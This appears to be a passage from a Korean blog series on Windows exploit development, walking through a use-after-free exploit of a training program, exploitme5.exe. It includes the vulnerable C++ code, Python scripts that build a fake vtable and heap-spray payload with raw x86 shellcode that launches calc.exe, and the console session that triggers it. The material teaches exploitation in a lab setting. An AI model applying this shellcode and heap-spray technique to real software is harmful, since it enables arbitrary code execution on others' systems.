1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | void mutateBlock() { listBlocks(); while (true) { printf("Index of block to mutate (-1 to exit): "); int index; scanf_s("%d", &index); fflush(stdin); if (index == -1) break; if (index < 0 || index >= (int)blocks.size()) { printf("Wrong index!\n"); } else { while (true) { printf( "1) Multiplier\n" "2) LowerCaser\n" "3) Exit\n" "Your choice [1-3]: "); int choice = _getch(); printf("\n\n"); if (choice == '3') break; if (choice >= '1' && choice <= '3') { choice -= '0'; mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize()); printf("The block was mutated.\n\n"); break; } else printf("Wrong choice!\n\n"); } break; } } } | cs |
흥미로운 부분은 다음과 같습니다.
1 | mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize()); | cs |
Multiplier를 선택하면 choice 는 1이 되고 다음 라인에서 사용됩니다.
1 | mutators[0]->mutate(...); | cs |
mutate 함수는 Multiplier 의 VFTable에서 두 번째 가상 함수 입니다. 그래서 주소 0x0a000020 에 우리는 다음과 같은 형태로 VFTable을 넣어야 합니다.
0x0a000020: whatever
0x0a000024: 0x0a000028
mutate 가 호출되면 실행은 0x0a000028 주소로 점프하게 되고 여기에는 우리의 쉘코드가 존재합니다.
이제 우리는 힙을 스프레이 하여 우리의 페이로드가 주소 0x0a000020 에 위치하게 하는것을 알았습니다. 우리가 사용할 페이로드는 다음과 같습니다.
전체적으로는 다음과 같습니다.
먼저 d:\obj.dat 을 생성합니다.
1 2 3 4 | import struct with open(r'd:\obj.dat', 'wb') as f: vftable_ptr = struct.pack('<I', 0x0a000020) f.write(vftable_ptr + 'a'*164) | cs |
이후에 d:\buf.dat 을 생성합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | import struct with open(r'd:\buf.dat', 'wb') as f: shellcode = ( "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + "\x30\x03\xc6\xeb\xdd") vftable = "aaaa" + struct.pack('<I', 0x0a000028) # second virtual function code = vftable + shellcode + 'a'*(0x10000 - len(shellcode) - len(vftable)) block_size = 0x100000-0x30 block = code*(block_size/len(code)) + code[:block_size % len(code)] f.write(block) | cs |
이제 exploitme5.exe 를 실행하고 아래와 같이 합니다. (여기서는 WinDbg가 필요 없습니다)
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 1
File path ('exit' to exit): d:\obj.dat
Block read (168 bytes)
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 4
1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit
Your choice [1-3]: 1
mutators[0] = 0x003dc488 <====================
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 3
------- Blocks -------
block 0: address = 0x003dc538; size = 168
----------------------
Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 2
------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168 <====================
----------------------
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 1
File path ('exit' to exit): d:\buf.dat
Block read (1048528 bytes) <==================== 1 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 3
------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168
block 2: address = 0x00c60020; size = 1048528
----------------------
Index of block to duplicate (-1 to exit): 2
Number of copies (-1 to exit): 200 <==================== 200 x 1 MB = 200 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 5
------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168
block 2: address = 0x00c60020; size = 1048528
block 3: address = 0x00e60020; size = 1048528
block 4: address = 0x00f60020; size = 1048528
block 5: address = 0x02480020; size = 1048528
block 6: address = 0x02580020; size = 1048528
block 7: address = 0x02680020; size = 1048528
block 8: address = 0x02780020; size = 1048528
block 9: address = 0x02880020; size = 1048528
block 10: address = 0x02980020; size = 1048528
block 11: address = 0x02a80020; size = 1048528
block 12: address = 0x02b80020; size = 1048528
block 13: address = 0x02c80020; size = 1048528
block 14: address = 0x02d80020; size = 1048528
block 15: address = 0x02e80020; size = 1048528
block 16: address = 0x02f80020; size = 1048528
block 17: address = 0x03080020; size = 1048528
block 18: address = 0x03180020; size = 1048528
block 19: address = 0x03280020; size = 1048528
block 20: address = 0x03380020; size = 1048528
block 21: address = 0x03480020; size = 1048528
block 22: address = 0x03580020; size = 1048528
block 23: address = 0x03680020; size = 1048528
block 24: address = 0x03780020; size = 1048528
block 25: address = 0x03880020; size = 1048528
block 26: address = 0x03980020; size = 1048528
block 27: address = 0x03a80020; size = 1048528
block 28: address = 0x03b80020; size = 1048528
block 29: address = 0x03c80020; size = 1048528
block 30: address = 0x03d80020; size = 1048528
block 31: address = 0x03e80020; size = 1048528
block 32: address = 0x03f80020; size = 1048528
block 33: address = 0x04080020; size = 1048528
block 34: address = 0x04180020; size = 1048528
block 35: address = 0x04280020; size = 1048528
block 36: address = 0x04380020; size = 1048528
block 37: address = 0x04480020; size = 1048528
block 38: address = 0x04580020; size = 1048528
block 39: address = 0x04680020; size = 1048528
block 40: address = 0x04780020; size = 1048528
block 41: address = 0x04880020; size = 1048528
block 42: address = 0x04980020; size = 1048528
block 43: address = 0x04a80020; size = 1048528
block 44: address = 0x04b80020; size = 1048528
block 45: address = 0x04c80020; size = 1048528
block 46: address = 0x04d80020; size = 1048528
block 47: address = 0x04e80020; size = 1048528
block 48: address = 0x04f80020; size = 1048528
block 49: address = 0x05080020; size = 1048528
block 50: address = 0x05180020; size = 1048528
block 51: address = 0x05280020; size = 1048528
block 52: address = 0x05380020; size = 1048528
block 53: address = 0x05480020; size = 1048528
block 54: address = 0x05580020; size = 1048528
block 55: address = 0x05680020; size = 1048528
block 56: address = 0x05780020; size = 1048528
block 57: address = 0x05880020; size = 1048528
block 58: address = 0x05980020; size = 1048528
block 59: address = 0x05a80020; size = 1048528
block 60: address = 0x05b80020; size = 1048528
block 61: address = 0x05c80020; size = 1048528
block 62: address = 0x05d80020; size = 1048528
block 63: address = 0x05e80020; size = 1048528
block 64: address = 0x05f80020; size = 1048528
block 65: address = 0x06080020; size = 1048528
block 66: address = 0x06180020; size = 1048528
block 67: address = 0x06280020; size = 1048528
block 68: address = 0x06380020; size = 1048528
block 69: address = 0x06480020; size = 1048528
block 70: address = 0x06580020; size = 1048528
block 71: address = 0x06680020; size = 1048528
block 72: address = 0x06780020; size = 1048528
block 73: address = 0x06880020; size = 1048528
block 74: address = 0x06980020; size = 1048528
block 75: address = 0x06a80020; size = 1048528
block 76: address = 0x06b80020; size = 1048528
block 77: address = 0x06c80020; size = 1048528
block 78: address = 0x06d80020; size = 1048528
block 79: address = 0x06e80020; size = 1048528
block 80: address = 0x06f80020; size = 1048528
block 81: address = 0x07080020; size = 1048528
block 82: address = 0x07180020; size = 1048528
block 83: address = 0x07280020; size = 1048528
block 84: address = 0x07380020; size = 1048528
block 85: address = 0x07480020; size = 1048528
block 86: address = 0x07580020; size = 1048528
block 87: address = 0x07680020; size = 1048528
block 88: address = 0x07780020; size = 1048528
block 89: address = 0x07880020; size = 1048528
block 90: address = 0x07980020; size = 1048528
block 91: address = 0x07a80020; size = 1048528
block 92: address = 0x07b80020; size = 1048528
block 93: address = 0x07c80020; size = 1048528
block 94: address = 0x07d80020; size = 1048528
block 95: address = 0x07e80020; size = 1048528
block 96: address = 0x07f80020; size = 1048528
block 97: address = 0x08080020; size = 1048528
block 98: address = 0x08180020; size = 1048528
block 99: address = 0x08280020; size = 1048528
block 100: address = 0x08380020; size = 1048528
block 101: address = 0x08480020; size = 1048528
block 102: address = 0x08580020; size = 1048528
block 103: address = 0x08680020; size = 1048528
block 104: address = 0x08780020; size = 1048528
block 105: address = 0x08880020; size = 1048528
block 106: address = 0x08980020; size = 1048528
block 107: address = 0x08a80020; size = 1048528
block 108: address = 0x08b80020; size = 1048528
block 109: address = 0x08c80020; size = 1048528
block 110: address = 0x08d80020; size = 1048528
block 111: address = 0x08e80020; size = 1048528
block 112: address = 0x08f80020; size = 1048528
block 113: address = 0x09080020; size = 1048528
block 114: address = 0x09180020; size = 1048528
block 115: address = 0x09280020; size = 1048528
block 116: address = 0x09380020; size = 1048528
block 117: address = 0x09480020; size = 1048528
block 118: address = 0x09580020; size = 1048528
block 119: address = 0x09680020; size = 1048528
block 120: address = 0x09780020; size = 1048528
block 121: address = 0x09880020; size = 1048528
block 122: address = 0x09980020; size = 1048528
block 123: address = 0x09a80020; size = 1048528
block 124: address = 0x09b80020; size = 1048528
block 125: address = 0x09c80020; size = 1048528
block 126: address = 0x09d80020; size = 1048528
block 127: address = 0x09e80020; size = 1048528
block 128: address = 0x09f80020; size = 1048528
block 129: address = 0x0a080020; size = 1048528
block 130: address = 0x0a180020; size = 1048528
block 131: address = 0x0a280020; size = 1048528
block 132: address = 0x0a380020; size = 1048528
block 133: address = 0x0a480020; size = 1048528
block 134: address = 0x0a580020; size = 1048528
block 135: address = 0x0a680020; size = 1048528
block 136: address = 0x0a780020; size = 1048528
block 137: address = 0x0a880020; size = 1048528
block 138: address = 0x0a980020; size = 1048528
block 139: address = 0x0aa80020; size = 1048528
block 140: address = 0x0ab80020; size = 1048528
block 141: address = 0x0ac80020; size = 1048528
block 142: address = 0x0ad80020; size = 1048528
block 143: address = 0x0ae80020; size = 1048528
block 144: address = 0x0af80020; size = 1048528
block 145: address = 0x0b080020; size = 1048528
block 146: address = 0x0b180020; size = 1048528
block 147: address = 0x0b280020; size = 1048528
block 148: address = 0x0b380020; size = 1048528
block 149: address = 0x0b480020; size = 1048528
block 150: address = 0x0b580020; size = 1048528
block 151: address = 0x0b680020; size = 1048528
block 152: address = 0x0b780020; size = 1048528
block 153: address = 0x0b880020; size = 1048528
block 154: address = 0x0b980020; size = 1048528
block 155: address = 0x0ba80020; size = 1048528
block 156: address = 0x0bb80020; size = 1048528
block 157: address = 0x0bc80020; size = 1048528
block 158: address = 0x0bd80020; size = 1048528
block 159: address = 0x0be80020; size = 1048528
block 160: address = 0x0bf80020; size = 1048528
block 161: address = 0x0c080020; size = 1048528
block 162: address = 0x0c180020; size = 1048528
block 163: address = 0x0c280020; size = 1048528
block 164: address = 0x0c380020; size = 1048528
block 165: address = 0x0c480020; size = 1048528
block 166: address = 0x0c580020; size = 1048528
block 167: address = 0x0c680020; size = 1048528
block 168: address = 0x0c780020; size = 1048528
block 169: address = 0x0c880020; size = 1048528
block 170: address = 0x0c980020; size = 1048528
block 171: address = 0x0ca80020; size = 1048528
block 172: address = 0x0cb80020; size = 1048528
block 173: address = 0x0cc80020; size = 1048528
block 174: address = 0x0cd80020; size = 1048528
block 175: address = 0x0ce80020; size = 1048528
block 176: address = 0x0cf80020; size = 1048528
block 177: address = 0x0d080020; size = 1048528
block 178: address = 0x0d180020; size = 1048528
block 179: address = 0x0d280020; size = 1048528
block 180: address = 0x0d380020; size = 1048528
block 181: address = 0x0d480020; size = 1048528
block 182: address = 0x0d580020; size = 1048528
block 183: address = 0x0d680020; size = 1048528
block 184: address = 0x0d780020; size = 1048528
block 185: address = 0x0d880020; size = 1048528
block 186: address = 0x0d980020; size = 1048528
block 187: address = 0x0da80020; size = 1048528
block 188: address = 0x0db80020; size = 1048528
block 189: address = 0x0dc80020; size = 1048528
block 190: address = 0x0dd80020; size = 1048528
block 191: address = 0x0de80020; size = 1048528
block 192: address = 0x0df80020; size = 1048528
block 193: address = 0x0e080020; size = 1048528
block 194: address = 0x0e180020; size = 1048528
block 195: address = 0x0e280020; size = 1048528
block 196: address = 0x0e380020; size = 1048528
block 197: address = 0x0e480020; size = 1048528
block 198: address = 0x0e580020; size = 1048528
block 199: address = 0x0e680020; size = 1048528
block 200: address = 0x0e780020; size = 1048528
block 201: address = 0x0e880020; size = 1048528
block 202: address = 0x0e980020; size = 1048528
----------------------
Index of block to mutate (-1 to exit): 0
1) Multiplier
2) LowerCaser
3) Exit
Your choice [1-3]: 1
위 작업이 끝나면 계산기가 뜨게 됩니다!
'Projects > Exploit Development' 카테고리의 다른 글
[익스플로잇 개발] 13. IE 10 (IE 리버싱) (0) | 2016.07.22 |
---|---|
[익스플로잇 개발] 12. EMET 5.2 (0) | 2016.07.22 |
[익스플로잇 개발] 10. Exploitme4 (ASLR) (0) | 2016.07.19 |
[익스플로잇 개발] 09. Exploitme3 (DEP) (0) | 2016.07.19 |
[익스플로잇 개발] 08. Exploitme2 (스택 쿠키 & SEH) (0) | 2016.07.19 |
- Total
- Today
- Yesterday
- 2014 SU CTF Write UP
- expdev 번역
- 윈도우즈 익스플로잇 개발
- Mona 2
- IE 10 리버싱
- School CTF Write up
- Windows Exploit Development
- shellcode
- Use after free
- heap spraying
- UAF
- IE 10 God Mode
- 쉘 코드 작성
- TenDollar
- WinDbg
- IE UAF
- IE 10 익스플로잇
- 쉘 코드
- CTF Write up
- TenDollar CTF
- 힙 스프레잉
- shellcode writing
- IE 11 exploit development
- School CTF Writeup
- data mining
- 2015 School CTF
- IE 10 Exploit Development
- IE 11 UAF
- IE 11 exploit
- 데이터 마이닝
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |